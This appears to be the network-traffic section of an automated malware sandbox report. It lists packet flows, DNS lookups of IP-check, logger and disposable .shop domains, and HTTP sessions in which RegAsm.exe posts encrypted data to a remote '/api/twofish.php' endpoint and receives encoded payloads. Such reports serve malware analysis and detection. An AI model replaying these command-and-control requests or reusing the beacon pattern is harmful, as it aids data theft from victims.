Sep 6, 2024 08:17:08.123060942 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.130968094 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.130974054 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.130981922 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.131021976 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.131022930 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:08.131027937 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.131035089 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.131056070 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:08.131082058 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.131087065 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.131088972 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:08.131125927 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:08.140589952 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.140597105 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.140604019 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.140640974 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:08.140645027 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.140651941 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.140666962 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.140674114 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.140690088 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:08.140711069 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:08.140770912 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.140777111 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.140783072 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.140788078 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.140794039 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.140799046 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.140805006 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.140816927 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:08.140846968 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:08.146100044 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.146105051 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.146115065 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.146121025 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.146125078 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.146130085 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.146141052 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.146183014 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.146217108 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.146217108 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.146774054 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.146779060 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.146787882 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.146794081 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.146823883 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.146830082 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.146840096 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.146845102 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.146853924 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.146853924 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.146886110 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.147017002 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.147022963 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.147032976 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.147056103 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.147061110 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.147066116 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.147068024 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.147070885 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.147109985 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.147109985 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.147499084 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.147502899 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.147511959 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.147524118 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.147528887 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.147538900 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.147540092 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.147543907 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.147548914 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.147586107 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.147586107 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.147918940 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.147923946 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.147933006 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.147975922 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:08.147979975 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.147985935 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.147995949 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.148001909 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.148021936 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:08.148042917 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.148045063 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:08.148067951 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.148072958 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.148077965 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.148082972 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.148102045 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:08.148113966 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.148133039 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:08.148185015 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.148190022 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.148205042 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.148211956 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:08.148217916 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.148220062 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:08.148231030 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.148256063 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.148257017 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:08.148268938 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.148287058 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:08.148302078 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:08.148309946 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.148370981 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.148380995 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.148386955 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.148391962 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.148410082 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:08.148417950 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:08.148425102 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.148431063 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.148437023 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:08.148458958 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:08.148610115 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.148616076 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.148627043 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.148632050 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.148638010 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.148648977 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.148654938 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.148659945 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:08.148684978 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:08.148710012 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:08.148736954 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.148741961 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.148751974 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.148757935 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.148761988 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.148772955 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.148777962 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:08.148802996 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:08.148884058 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.148890018 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.148926020 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:08.148972034 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.148977995 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.148988962 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.148992062 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.148996115 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.149014950 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:08.149025917 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:08.149039030 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.149044991 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.149049044 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:08.149051905 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.149075031 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:08.149095058 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:08.149096966 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.149102926 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.149118900 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.149123907 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.149133921 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.149137974 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:08.149163008 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:08.149234056 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.149239063 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.149250984 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.149279118 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:08.149293900 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.149298906 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.149303913 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.149338007 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:08.149348974 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:08.149367094 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.149373055 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.149383068 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.149403095 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.149408102 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.149409056 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:08.149418116 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.149441957 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:08.149586916 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.149591923 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.149605989 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.149610043 CEST	80	49734	176.113.115.33	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Sep 6, 2024 08:16:57.575937033 CEST	192.168.2.4	1.1.1.1	0x8e90	Standard query (0)	api64.ipify.org	A (IP address)	IN (0x0001)	false
Sep 6, 2024 08:16:59.008570910 CEST	192.168.2.4	1.1.1.1	0xe43	Standard query (0)	ipinfo.io	A (IP address)	IN (0x0001)	false
Sep 6, 2024 08:17:04.437912941 CEST	192.168.2.4	1.1.1.1	0xf5d1	Standard query (0)	240902180529931.tyr.zont16.com	A (IP address)	IN (0x0001)	false
Sep 6, 2024 08:17:04.504142046 CEST	192.168.2.4	1.1.1.1	0xbea2	Standard query (0)	file-link-iota.vercel.app	A (IP address)	IN (0x0001)	false
Sep 6, 2024 08:17:06.156405926 CEST	192.168.2.4	1.1.1.1	0xbd45	Standard query (0)	youtransfer.net	A (IP address)	IN (0x0001)	false
Sep 6, 2024 08:17:25.667885065 CEST	192.168.2.4	1.1.1.1	0x53b8	Standard query (0)	iplogger.org	A (IP address)	IN (0x0001)	false
Sep 6, 2024 08:17:43.561687946 CEST	192.168.2.4	1.1.1.1	0x9cf0	Standard query (0)	stamppreewntnq.shop	A (IP address)	IN (0x0001)	false
Sep 6, 2024 08:17:45.292253971 CEST	192.168.2.4	1.1.1.1	0x6e42	Standard query (0)	locatedblsoqp.shop	A (IP address)	IN (0x0001)	false
Sep 6, 2024 08:17:45.381115913 CEST	192.168.2.4	1.1.1.1	0xfad2	Standard query (0)	traineiwnqo.shop	A (IP address)	IN (0x0001)	false
Sep 6, 2024 08:17:45.452327967 CEST	192.168.2.4	1.1.1.1	0x3f16	Standard query (0)	condedqpwqm.shop	A (IP address)	IN (0x0001)	false
Sep 6, 2024 08:17:57.634563923 CEST	192.168.2.4	1.1.1.1	0x3f69	Standard query (0)	t.me	A (IP address)	IN (0x0001)	false
Sep 6, 2024 08:17:59.573153019 CEST	192.168.2.4	1.1.1.1	0xde8a	Standard query (0)	traineiwnqo.shop	A (IP address)	IN (0x0001)	false
Sep 6, 2024 08:17:59.641889095 CEST	192.168.2.4	1.1.1.1	0x689b	Standard query (0)	locatedblsoqp.shop	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Sep 6, 2024 08:16:57.582791090 CEST	1.1.1.1	192.168.2.4	0x8e90	No error (0)	api64.ipify.org		173.231.16.77	A (IP address)	IN (0x0001)	false
Sep 6, 2024 08:16:57.582791090 CEST	1.1.1.1	192.168.2.4	0x8e90	No error (0)	api64.ipify.org		104.237.62.213	A (IP address)	IN (0x0001)	false
Sep 6, 2024 08:16:59.015209913 CEST	1.1.1.1	192.168.2.4	0xe43	No error (0)	ipinfo.io		34.117.59.81	A (IP address)	IN (0x0001)	false
Sep 6, 2024 08:17:04.512914896 CEST	1.1.1.1	192.168.2.4	0xbea2	No error (0)	file-link-iota.vercel.app		76.76.21.142	A (IP address)	IN (0x0001)	false
Sep 6, 2024 08:17:04.512914896 CEST	1.1.1.1	192.168.2.4	0xbea2	No error (0)	file-link-iota.vercel.app		76.76.21.9	A (IP address)	IN (0x0001)	false
Sep 6, 2024 08:17:04.559366941 CEST	1.1.1.1	192.168.2.4	0xf5d1	Server failure (2)	240902180529931.tyr.zont16.com	none	none	A (IP address)	IN (0x0001)	false
Sep 6, 2024 08:17:06.189209938 CEST	1.1.1.1	192.168.2.4	0xbd45	No error (0)	youtransfer.net		158.69.225.124	A (IP address)	IN (0x0001)	false
Sep 6, 2024 08:17:25.675404072 CEST	1.1.1.1	192.168.2.4	0x53b8	No error (0)	iplogger.org		104.26.2.46	A (IP address)	IN (0x0001)	false
Sep 6, 2024 08:17:25.675404072 CEST	1.1.1.1	192.168.2.4	0x53b8	No error (0)	iplogger.org		172.67.74.161	A (IP address)	IN (0x0001)	false
Sep 6, 2024 08:17:25.675404072 CEST	1.1.1.1	192.168.2.4	0x53b8	No error (0)	iplogger.org		104.26.3.46	A (IP address)	IN (0x0001)	false
Sep 6, 2024 08:17:43.574501991 CEST	1.1.1.1	192.168.2.4	0x9cf0	No error (0)	stamppreewntnq.shop		188.114.96.3	A (IP address)	IN (0x0001)	false
Sep 6, 2024 08:17:43.574501991 CEST	1.1.1.1	192.168.2.4	0x9cf0	No error (0)	stamppreewntnq.shop		188.114.97.3	A (IP address)	IN (0x0001)	false
Sep 6, 2024 08:17:45.301414967 CEST	1.1.1.1	192.168.2.4	0x6e42	Name error (3)	locatedblsoqp.shop	none	none	A (IP address)	IN (0x0001)	false
Sep 6, 2024 08:17:45.389625072 CEST	1.1.1.1	192.168.2.4	0xfad2	Name error (3)	traineiwnqo.shop	none	none	A (IP address)	IN (0x0001)	false
Sep 6, 2024 08:17:45.465409040 CEST	1.1.1.1	192.168.2.4	0x3f16	No error (0)	condedqpwqm.shop		104.21.10.172	A (IP address)	IN (0x0001)	false
Sep 6, 2024 08:17:45.465409040 CEST	1.1.1.1	192.168.2.4	0x3f16	No error (0)	condedqpwqm.shop		172.67.146.35	A (IP address)	IN (0x0001)	false
Sep 6, 2024 08:17:57.641911983 CEST	1.1.1.1	192.168.2.4	0x3f69	No error (0)	t.me		149.154.167.99	A (IP address)	IN (0x0001)	false
Sep 6, 2024 08:17:59.581556082 CEST	1.1.1.1	192.168.2.4	0xde8a	Name error (3)	traineiwnqo.shop	none	none	A (IP address)	IN (0x0001)	false
Sep 6, 2024 08:17:59.650366068 CEST	1.1.1.1	192.168.2.4	0x689b	Name error (3)	locatedblsoqp.shop	none	none	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	185.143.223.148	80	7536	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Sep 6, 2024 08:16:57.075624943 CEST	207	OUT	GET /api/crazyfish.php HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Host: 185.143.223.148
Sep 6, 2024 08:16:57.569557905 CEST	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 06 Sep 2024 06:16:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 66 69 73 68 31 35 0d 0a 30 0d 0a 0d 0a Data Ascii: 6fish150
Sep 6, 2024 08:17:01.757911921 CEST	276	OUT	POST /api/twofish.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Content-Length: 133 Host: 185.143.223.148
Sep 6, 2024 08:17:01.757947922 CEST	133	OUT	Data Raw: 64 61 74 61 3d 57 34 30 34 6f 79 72 5f 4f 50 35 73 4b 6f 4b 59 30 62 38 47 68 36 77 75 34 51 61 48 6b 5f 46 65 74 6e 68 58 50 51 79 4e 31 78 58 45 43 74 77 38 70 6e 6f 59 53 48 48 32 4c 53 6d 64 38 46 65 78 6e 58 54 73 65 6e 76 5f 6a 4a 48 78 53 Data Ascii: data=W404oyr_OP5sKoKY0b8Gh6wu4QaHk_FetnhXPQyN1xXECtw8pnoYSHH2LSmd8FexnXTsenv_jJHxSXB7UFF5XC6B9djGjOuiBKyv2c185gyuLRwM0A3DQtiMPOgspfqj
Sep 6, 2024 08:17:02.391652107 CEST	298	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 06 Sep 2024 06:17:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 63 0d 0a 78 4d 77 6f 37 49 61 69 48 79 61 79 76 46 4f 41 75 78 43 37 73 4d 30 52 71 49 47 31 6c 7a 72 31 54 39 49 6c 57 4b 71 64 78 49 5a 64 72 2f 41 45 31 6c 2f 46 78 68 32 68 61 36 4f 6a 69 34 31 43 59 7a 68 39 46 75 49 6f 50 4f 74 4a 6f 55 47 74 36 61 56 38 32 4d 35 2b 73 54 76 73 67 4c 52 73 6f 41 77 68 71 2f 4d 74 43 45 67 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: 6cxMwo7IaiHyayvFOAuxC7sM0RqIG1lzr1T9IlWKqdxIZdr/AE1l/Fxh2ha6Oji41CYzh9FuIoPOtJoUGt6aV82M5+sTvsgLRsoAwhq/MtCEg=0
Sep 6, 2024 08:17:02.518862963 CEST	276	OUT	POST /api/twofish.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Content-Length: 133 Host: 185.143.223.148
Sep 6, 2024 08:17:02.518903017 CEST	133	OUT	Data Raw: 64 61 74 61 3d 77 67 4a 68 57 4c 67 55 53 55 70 4c 4d 59 33 4f 62 6e 66 75 32 68 31 48 30 52 44 6d 79 4f 44 42 71 34 42 32 35 54 38 68 56 38 41 45 39 35 6d 65 74 43 59 4d 32 44 38 5f 4a 5a 51 70 4a 4d 37 70 5a 6b 44 31 53 32 74 36 50 47 61 5f 59 Data Ascii: data=wgJhWLgUSUpLMY3Obnfu2h1H0RDmyODBq4B25T8hV8AE95metCYM2D8_JZQpJM7pZkD1S2t6PGa_Y7ixaI0J7g_EiF2nepImzFAu2UThtHHEK3imBx1e9Pw8rodYoLb3
Sep 6, 2024 08:17:03.886363029 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 06 Sep 2024 06:17:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 39 63 30 0d 0a 32 35 37 2b 52 45 67 76 73 32 2f 75 37 62 77 42 5a 75 37 53 32 63 4e 4e 59 34 62 6f 61 67 43 56 64 36 72 45 2f 44 55 75 75 35 6b 2b 6e 4d 77 76 4d 79 70 38 33 32 79 49 56 6a 48 4c 77 2f 31 50 74 7a 54 76 72 32 74 6c 70 55 78 36 52 4b 58 79 4a 4d 6c 50 6f 4b 6f 48 65 35 43 6b 30 51 7a 49 36 35 43 4b 77 62 69 6a 74 59 6a 43 51 6f 38 46 31 30 34 5a 5a 4d 65 33 66 77 59 6d 37 36 63 44 2f 54 6a 38 37 2f 65 6e 59 50 46 52 62 52 63 54 4f 72 64 58 41 36 6b 36 55 7a 35 35 75 31 71 64 79 79 4a 30 59 75 6a 61 41 6c 76 2f 34 70 76 50 37 41 34 53 45 61 71 44 4e 57 54 57 56 65 6d 61 46 6e 75 4e 31 34 2b 69 42 71 45 2b 5a 4e 78 31 69 4f 61 52 4b 71 48 74 59 6f 38 55 71 30 30 2b 56 56 6d 38 4d 35 57 71 31 56 70 41 31 6a 56 76 42 71 61 54 57 61 51 58 41 35 71 4d 64 44 72 6f 56 4a 70 46 44 6b 41 46 70 71 61 62 73 4d 32 77 66 2f 57 57 73 2b 47 32 4e 6c 75 30 6a 50 50 4a 71 69 49 6c 75 7a 4f 6d 44 4b 4a 67 37 67 34 68 43 55 79 54 4e 63 66 62 38 49 78 37 4c 33 65 39 42 71 4c 43 35 35 2b 6a 75 54 42 35 37 [TRUNCATED] Data Ascii: 9c0257+REgvs2/u7bwBZu7S2cNNY4boagCVd6rE/DUuu5k+nMwvMyp832yIVjHLw/1PtzTvr2tlpUx6RKXyJMlPoKoHe5Ck0QzI65CKwbijtYjCQo8F104ZZMe3fwYm76cD/Tj87/enYPFRbRcTOrdXA6k6Uz55u1qdyyJ0YujaAlv/4pvP7A4SEaqDNWTWVemaFnuN14+iBqE+ZNx1iOaRKqHtYo8Uq00+VVm8M5Wq1VpA1jVvBqaTWaQXA5qMdDroVJpFDkAFpqabsM2wf/WWs+G2Nlu0jPPJqiIluzOmDKJg7g4hCUyTNcfb8Ix7L3e9BqLC55+juTB57WPMpDCR/vuMJAgoxd3BXErmds+c1NtdWL0kC7mPuOVj5YSVOhKh4Cv0eJRsGmx/RRz1fqcp6759oWdOhpkvMdMMkTnSbgFj89INaRGQSbtMLHmP4vUN88LkU9leHYm4mSYnl727pLhqe5BAQfbySfsKkMK26XgRGHhnWpMFAt93nB0eRP5Vsmlpd97cI0xiUr0R4eHR+z3B+jqTy+kihLAXgxn2NzargbY1k7k8WjOr3y6kUDeiTXf9k6WP/8Sh1iIzv4n/p1VW+qqIUqSjyK+lXu4Wl/f2uReo44C0EaaE+FKt1+j4D38U5ZBfq3s1cNKzvL7y3ZVCuYa11plAB0Wh0aovyyWP0CfhR2YvUOpuZbIT2S9KRRPOCuGgHmFNMU2QOGPi1dDlbY4ckczGTw49KAFyQnjunWI56SHW6iGLOobqwJBUyBZvXnN5VoRPvBudbQS0cByrPd4JZU1DzTJoyh3YVaG01HLRKJ54hxZLrq73Po263cu5Ja9QcREBDk7LRISdU3gYQKiwNJJoTDBDZ0YzixYnDQ5KQvmGlOFtwU8t8AmSvnp5Zpbqpd4QRZ8T14ie1UhVppttkPWNjTbbdzzc1S5kNj1nN8f2AWlgyMxy00L0k8SqOkGa5ZPwxrhe4ABTPnS0rYATu5q1bCBnqoFAc3NX1qa [TRUNCATED]
